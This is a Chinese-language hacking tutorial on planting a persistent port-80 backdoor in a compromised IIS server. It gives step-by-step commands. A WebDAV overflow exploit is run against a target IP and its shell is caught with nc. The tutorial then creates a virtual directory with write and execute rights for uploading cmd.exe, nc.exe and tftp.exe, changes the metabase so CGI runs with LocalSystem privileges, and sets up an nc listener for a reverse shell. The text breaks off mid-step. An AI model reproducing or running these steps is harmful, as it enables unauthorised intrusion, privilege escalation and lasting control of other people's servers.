IIS是目前比较流行的www服务器，设置不当漏洞就很多。入侵IIS服务器后留下后门，以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听，比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点（他们的管理员吃了苦头后）一般通过防火墙对端口进行限制，这样除了管理员开的端口外，其他端口就不能连接了。但是80端口是不可能关闭的（如果管理员没有吃错药）。那么我们可以通过在80端口留后门，来开启永远的后门。
当IIS启动CGI应用程序时，缺省用CreateProcessAsUser API来创建该CGI的新Process,该程序的安全上下文就由启动该CGI的用户决定。一般匿名用户都映射到IUSR_computername这个账号，当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低，可能都属于guest组的成员。其实我们可以修改IIS开启CGI的方式，来提高权限。我们来看IIS主进程本身是运行在localsystem账号下的，所以我们就可以得到最高localsystem的权限。
1. 入侵IIS得到一个shell，比如：IIS WebDAV
overflow remote exploit
J:\tool>webdavx3.pl 10.16.69.55 80
J:\tool>nc -vv 10.16.69.55 2000
vitter [10.16.69.55] 2000 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
2. cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs
enum w3svc/1/root
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
KeyType : (STRING) "IIsWebVirtualDir"
AccessRead : (BOOLEAN) True
AccessWrite : (BOOLEAN) False
AccessExecute : (BOOLEAN) False
AccessScript : (BOOLEAN) True
AccessSource : (BOOLEAN) False
AccessNoRemoteRead : (BOOLEAN) False
AccessNoRemoteWrite : (BOOLEAN) False
AccessNoRemoteExecute : (BOOLEAN) False
AccessNoRemoteScript : (BOOLEAN) False
HttpErrors : (LIST) (32 Items)
"400,*,FILE,F:\WINNT\help\iisHelp\common\400.htm"
"401,1,FILE,F:\WINNT\help\iisHelp\common\401-1.htm"
"401,2,FILE,F:\WINNT\help\iisHelp\common\401-2.htm"
"401,3,FILE,F:\WINNT\help\iisHelp\common\401-3.htm"
"401,4,FILE,F:\WINNT\help\iisHelp\common\401-4.htm"
"401,5,FILE,F:\WINNT\help\iisHelp\common\401-5.htm"
"403,1,FILE,F:\WINNT\help\iisHelp\common\403-1.htm"
"403,2,FILE,F:\WINNT\help\iisHelp\common\403-2.htm"
"403,3,FILE,F:\WINNT\help\iisHelp\common\403-3.htm"
"403,4,FILE,F:\WINNT\help\iisHelp\common\403-4.htm"
"403,5,FILE,F:\WINNT\help\iisHelp\common\403-5.htm"
"403,6,FILE,F:\WINNT\help\iisHelp\common\403-6.htm"
"403,7,FILE,F:\WINNT\help\iisHelp\common\403-7.htm"
"403,8,FILE,F:\WINNT\help\iisHelp\common\403-8.htm"
"403,9,FILE,F:\WINNT\help\iisHelp\common\403-9.htm"
"403,10,FILE,F:\WINNT\help\iisHelp\common\403-10.htm"
"403,11,FILE,F:\WINNT\help\iisHelp\common\403-11.htm"
"403,12,FILE,F:\WINNT\help\iisHelp\common\403-12.htm"
"403,13,FILE,F:\WINNT\help\iisHelp\common\403-13.htm"
"403,15,FILE,F:\WINNT\help\iisHelp\common\403-15.htm"
"403,16,FILE,F:\WINNT\help\iisHelp\common\403-16.htm"
"403,17,FILE,F:\WINNT\help\iisHelp\common\403-17.htm"
"404,*,FILE,F:\WINNT\help\iisHelp\common\404b.htm"
"405,*,FILE,F:\WINNT\help\iisHelp\common\405.htm"
"406,*,FILE,F:\WINNT\help\iisHelp\common\406.htm"
"407,*,FILE,F:\WINNT\help\iisHelp\common\407.htm"
"412,*,FILE,F:\WINNT\help\iisHelp\common\412.htm"
"414,*,FILE,F:\WINNT\help\iisHelp\common\414.htm"
"500,12,FILE,F:\WINNT\help\iisHelp\common\500-12.htm"
"500,13,FILE,F:\WINNT\help\iisHelp\common\500-13.htm"
"500,15,FILE,F:\WINNT\help\iisHelp\common\500-15.htm"
"500,100,URL,/iisHelp/common/500-100.asp"
DefaultDoc : (STRING) "default.html,Default.asp,index.php,i
ndex.asp,index.htm"
Path : (STRING) "C:\Inetpub\wwwroot"
AccessFlags : (INTEGER) 513
ScriptMaps : (LIST) (13 Items)
".asp,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
".cer,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
".cdx,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
".asa,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
".htr,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST"
".idc,F:\WINNT\System32\inetsrv\404.dll,1,OPTIONS,GET,HEAD,POST,PUT,DELETE,TRA
CE"
".shtm,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST"
".shtml,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST"
".stm,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST"
".php,D:\php\php-4.2.2-Win32\php.exe,1"
".php3,D:\php\php-4.2.2-Win32\php.exe,1"
".cgi,D:\USR\BIN\perl.exe %s %s,1"
".pl,D:\USR\BIN\perl.exe %s %s,1"
[/w3svc/1/root/localstart.asp]
[/w3svc/1/root/bbs]
[/w3svc/1/root/count]
[/w3svc/1/root/download]
[/w3svc/1/root/file]
[/w3svc/1/root/liuyan]
[/w3svc/1/root/old]
[/w3svc/1/root/wsjc]
[/w3svc/1/root/guest]
[/w3svc/1/root/test]
[/w3svc/1/root/zdzxroot]
[/w3svc/1/root/wins]
[/w3svc/1/root/udbbbs]
[/w3svc/1/root/safe]
[/w3svc/1/root/novel]
获得一些基本信息，现在我们心里已经有底了!
3. mkdir c:\inetpub\wwwroot\dir
4. cscript.exe c:\Inetpub\AdminScripts\mkwebdir.vbs
-c 10.16.69.55 -w "默认 Web 站点" -v "VirtualDir","c:\inetpub\wwwroot\dir"
这样就建好了一个虚目录：VirtualDir 你可以用第2步的命令看一下
5. 接下来要改变一下VirtualDir的属性为execute
cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/VirtualDir/accesswrite
"true" -s:"10.16.69.55"
cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/VirtualDir/accessexecute
"true" -s:"10.16.69.55"
现在你已经可以upload 内容到该目录，并且可以运行。你可以把cmd.exe net.exe nc.exe tftp.exe直接拷贝到虚拟目录的磁盘目录中，用tftp
upload东东到该目录。
6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI
process
cscript c:\Inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/VirtualDir/createprocessasuser
false
7. 在本地用nc监听一个端口
J:\tool>nc -l -p 3000 -nvv
8. 在远程目标系统用nc发送回
